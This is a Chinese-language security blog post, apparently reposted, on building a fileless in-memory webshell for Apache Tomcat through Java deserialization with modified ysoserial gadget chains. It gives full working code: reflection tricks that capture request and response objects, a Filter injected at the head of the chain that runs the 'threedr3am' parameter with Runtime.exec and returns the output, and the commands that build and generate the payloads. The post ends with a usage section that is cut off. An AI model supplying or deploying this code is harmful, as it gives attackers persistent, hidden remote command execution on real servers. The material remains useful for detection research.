基于Tomcat的内存Webshell_无文件攻击技术-棉花糖会员站

# 基于Tomcat的内存Webshell 无文件攻击技术

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0x01 tomcat通用的获取request和response
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首先我们看看一个普通http请求进来的时候，tomcat的部分执行栈：

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)

按照kingkk师傅的方法，利用的点是在
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter：

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

其中，通过反射修改ApplicationDispatcher.WRAP\_SAME\_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化，之后，每次请求进来，就能通过这两个ThreadLocal获取到相应的request和response了。但是，也存在一点小限制，在其set之前，看：

private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false".equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object[]{req, res, this}; SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); } } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException(sm.getString("filterChain.filter"), e); } return; } // We fell off the end of the chain -- call the servlet instance try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } ... } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException(sm.getString("filterChain.servlet"), e); } finally { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(null); lastServicedResponse.set(null); } } } 先执行完所有的Filter了`filter.doFilter(request, response, this)` 因此，对于shiro的反序列化利用就没办法通过这种方式取到response回显了。 0x02 动态注册Filter ------------------- 没错的，正如标题所说，通过动态注册一个Filter，并且把其放到最前面，这样，我们的Filter就能最先执行了，并且也成为了一个内存Webshell了。要实现动态注册Filter，需要两个步骤。第一个步骤就是先达到能获取request和response，而第二个步骤是通过request或者response去动态注册Filter #### 步骤一首先，我们创建一个继承AbstractTranslet（因为需要携带恶意字节码到服务端加载执行）的TomcatEchoInject类，在其静态代码块中`反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化` import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /** * @author threedr3am */ public class TomcatEchoInject extends AbstractTranslet { static { try { /*刚开始反序列化后执行的逻辑*/ //修改 WRAP_SAME_OBJECT 值为 true Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT"); java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (!f.getBoolean(null)) { f.setBoolean(null, true); } //初始化 lastServicedRequest c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); f = c.getDeclaredField("lastServicedRequest"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } //初始化 lastServicedResponse f = c.getDeclaredField("lastServicedResponse"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } 接着，我们改造一下ysoserial中的Gadgets.createTemplatesImpl方法 public static Object createTemplatesImpl ( final String command) throws Exception { return createTemplatesImpl(command, null); } public static Object createTemplatesImpl ( final String command, final Class c ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, c, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static T createTemplatesImpl ( final String command, Class c, Class tplClass, Class abstTranslet, Class transFactory )
throws Exception {
final T templates = tplClass.newInstance();
final byte[] classBytes;
if (c == null) {
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = “java.lang.Runtime.getRuntime().exec(\”” +
command.replaceAll(“\\\\”, “\\\\\\\\”).replaceAll(“\””, “\\\””) +
“\”);”;
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName(“ysoserial.Pwner” + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
classBytes = clazz.toBytecode();
} else {
classBytes = ClassFiles.classAsBytes(c);
}

// inject class bytes into instance
Reflections.setFieldValue(templates, “_bytecodes”, new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, “_name”, “Pwnr”);
Reflections.setFieldValue(templates, “_tfactory”, transFactory.newInstance());
return templates;
}

可以看到，第二个传入的Class参数，我们并没有用到javassist，而是直接转字节数组，然后放到TemplatesImpl实例的\_bytecodes字段中了。

最后，回到ysoserial中有调用Gadgets.createTemplatesImpl的payload类中来，我这边对每一个都做了拷贝修改，例如CommonsCollections11，我拷贝其修改后的类为CommonsCollections11ForTomcatEchoInject，在调用`Gadgets.createTemplatesImpl(command[0];`的地方，改成了`final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);`

并且，对ysoserial的main入口做一点小修改，因为原来的代码规定必须要有payload的入参，而我们这里不需要了

ysoserial.GeneratePayload\#main：

if (args.length < 1) { printUsage(); System.exit(USAGE_CODE); } 在ysoserial执行maven指令生成jar包 mvn clean -Dmaven.test.skip=true compile assembly:assembly 这样，我们就能使用这个新的payload（CommonsCollections11ForTomcatEchoInject）了 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatEchoInject > ~/tmp/TomcatShellInject.ysoserial

#### 步骤二

在使用步骤一生成的序列化数据进行反序列化攻击后，我们就能通过下面这段代码获取到request和response对象了

java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField(“lastServicedRequest”);
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()

接着，我们要做的就是动态注册Filter到tomcat中，参考[《动态注册之Servlet+Filter+Listener》](https://www.jianshu.com/p/cbe1c3174d41)，可以看到，其中通过ServletContext对象（实际获取的是ApplicationContext，是ServletContext的实现，因为门面模式的使用，后面需要提取实际实现），实现了动态注册Filter

javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(“threedr3am”, threedr3am);
filterRegistration.setInitParameter(“encoding”, “utf-8”);
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{“/*”});

然而实际上并不管用，为什么呢？

private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
if (filterName != null && !filterName.equals(“”)) {
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString(“applicationContext.addFilter.ise”, new Object[]{this.getContextPath()}));
} else {
FilterDef filterDef = this.context.findFilterDef(filterName);
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
this.context.addFilterDef(filterDef);
} else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}

if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}

return new ApplicationFilterRegistration(filterDef, this.context);
}
} else {
throw new IllegalArgumentException(sm.getString(“applicationContext.invalidFilterName”, new Object[]{filterName}));
}
}

因为`this.context.getState()`在运行时返回的state已经是`LifecycleState.STARTED`了，所以直接就抛异常了，filter根本就添加不进去。

不过问题不大，因为`this.context.getState()`获取的是ServletContext实现对象的context字段，从其中获取出state，那么，我们在其添加filter前，通过反射设置成`LifecycleState.STARTING_PREP`，在其顺利添加完成后，再把其恢复成`LifecycleState.STARTE`，这里必须要恢复，要不然会造成服务不可用。

其实上面的反射设置state值，也可以不做，因为我们看代码中，只是执行了`this.context.addFilterDef(filterDef)`，我们完全也可以通过反射context这个字段自行添加filterDef。

在实际执行栈中，可以看到，实际filter的创建是在org.apache.catalina.core.StandardWrapperValve\#invoke执行`ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);`的地方

跟进其实现方法，忽略不重要的代码：

…
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
…
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); } 可以看到，从context提取了FilterMap数组，并且遍历添加到filterChain，最终生效，但是这里有两个问题： 1. 我们最早创建的filter被封装成FilterDef添加到了context的filterDefs中，但是filterMaps中并不存在 2. 跟上述一样的问题，也不存在filterConfigs中（`context.findFilterConfig`是从context的filterConfigs中获取）这两个问题，也比较简单，第一个问题，其实在下面代码执行`filterRegistration.addMappingForUrlPatterns`的时候已经添加进去了 javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); public void addMappingForUrlPatterns(EnumSet dispatcherTypes, boolean isMatchAfter, String… urlPatterns) {
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
if (dispatcherTypes != null) {
Iterator var5 = dispatcherTypes.iterator();

while(var5.hasNext()) {
DispatcherType dispatcherType = (DispatcherType)var5.next();
filterMap.setDispatcher(dispatcherType.name());
}
}

if (urlPatterns != null) {
String[] var9 = urlPatterns;
int var10 = urlPatterns.length;

for(int var7 = 0; var7 < var10; ++var7) { String urlPattern = var9[var7]; filterMap.addURLPattern(urlPattern); } if (isMatchAfter) { this.context.addFilterMap(filterMap); } else { this.context.addFilterMapBefore(filterMap); } } } 而第二个问题，既然没有，我们就反射加进去就行了，不过且先看看StandardContext，它有一个方法`filterStart` public boolean filterStart() { if (this.getLogger().isDebugEnabled()) { this.getLogger().debug("Starting filters"); } boolean ok = true; synchronized(this.filterConfigs) { this.filterConfigs.clear(); Iterator var3 = this.filterDefs.entrySet().iterator(); while(var3.hasNext()) { Entry entry = (Entry)var3.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(” Starting filter ‘” + name + “‘”);
}

try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString(“standardContext.filterStart”, new Object[]{name}), t);
ok = false;
}
}

return ok;
}
}

没错，它遍历了filterDefs，一个个实例化成ApplicationFilterConfig添加到filterConfigs了。

这两个问题解决了，是不是就完成了呢，其实还没有，还差一个优化的地方，因为我们想要把filter放到最前面，在所有filter前执行，从而解决shiro漏洞的问题。

也简单，我们看回`org.apache.catalina.core.ApplicationFilterFactory#createFilterChain`的代码：

// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } } 创建的顺序是根据filterMaps的顺序来的，那么我们就有必要去修改我们添加的filter顺序到第一位了，最后，整个第二步骤的代码如下： import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; /** * @author threedr3am */ public class TomcatShellInject extends AbstractTranslet implements Filter { static { try { /*shell注入，前提需要能拿到request、response等*/ java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class .getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal t = (ThreadLocal) f.get(null); ServletRequest servletRequest = null; //不为空则意味着第一次反序列化的准备工作已成功 if (t != null && t.get() != null) { servletRequest = (ServletRequest) t.get(); } if (servletRequest != null) { javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); org.apache.catalina.core.StandardContext standardContext = null; //判断是否已有该名字的filter，有则不再添加 if (servletContext.getFilterRegistration("threedr3am") == null) { //遍历出标准上下文对象 for (; standardContext == null; ) { java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object o = contextField.get(servletContext); if (o instanceof javax.servlet.ServletContext) { servletContext = (javax.servlet.ServletContext) o; } else if (o instanceof org.apache.catalina.core.StandardContext) { standardContext = (org.apache.catalina.core.StandardContext) o; } } if (standardContext != null) { //修改状态，要不然添加不了 java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); //创建一个自定义的Filter马 Filter threedr3am = new TomcatShellInject(); //添加filter马 javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext .addFilter("threedr3am", threedr3am); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); //状态恢复，要不然服务不可用 if (stateField != null) { stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); } if (standardContext != null) { //生效filter java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class .getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); //把filter插到第一位 org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext .findFilterMaps(); for (int i = 0; i < filterMaps.length; i++) { if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) { org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i]; filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMap; break; } } } } } } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter("threedr3am")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } 和第一个步骤创建的TomcatEchoInject不一样，这里我们不但基础了AbstractTranslet，还实现了Filter创建一个我们自定义的内存Webshell 最后，我们也按照第一个步骤那样，创建一个ysoserial的`CommonsCollections11`类的拷贝，名叫`CommonsCollections11ForTomcatShellInject`，并把其`Gadgets.createTemplatesImpl(command[0])`的调用改成`Gadgets.createTemplatesImpl(null, TomcatShellInject.class)`，这样，我们的Webshell payload就完成了。通过执行maven打包 mvn clean -Dmaven.test.skip=true compile assembly:assembly 然后执行生成的jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatShellInject > ~/tmp/TomcatEchoInject.ysoserial

就生成了CommonsCollections11ForTomcatShellInject的payload了

0x03 测试
———

上一节中，我们生成了两个payload，接下来，我们启动一个具有`commons-collections:commons-collections:3.2.1`依赖的服务端，并且存在反序列化的接口。

然后我们把步骤一和步骤二生成的payload依次打过去

![](/static/qingy/基于Tomcat的内存Webshell_无文件攻击技术/img/rId27.png)

![](/static/qingy/基于Tomcat的内存Webshell_无文件攻击技术/img/rId28.png)

可以依次看到，两个步骤都返回500异常，相关信息证明已经执行反序列化成功了，接下来我们试试这个内存Webshell

![](/static/qingy/基于Tomcat的内存Webshell_无文件攻击技术/img/rId29.png)

![](/static/qingy/基于Tomcat的内存Webshell_无文件攻击技术/img/rId30.png)

完美，具体ysoserial改造后的代码，我已经上传到github，有兴趣可以看看
[ianxtianxt/ysoserial](https://github.com/ianxtianxt/ysoserial)

### 使用方法

> Tomcat通杀回显-内存webshell
>
> 例：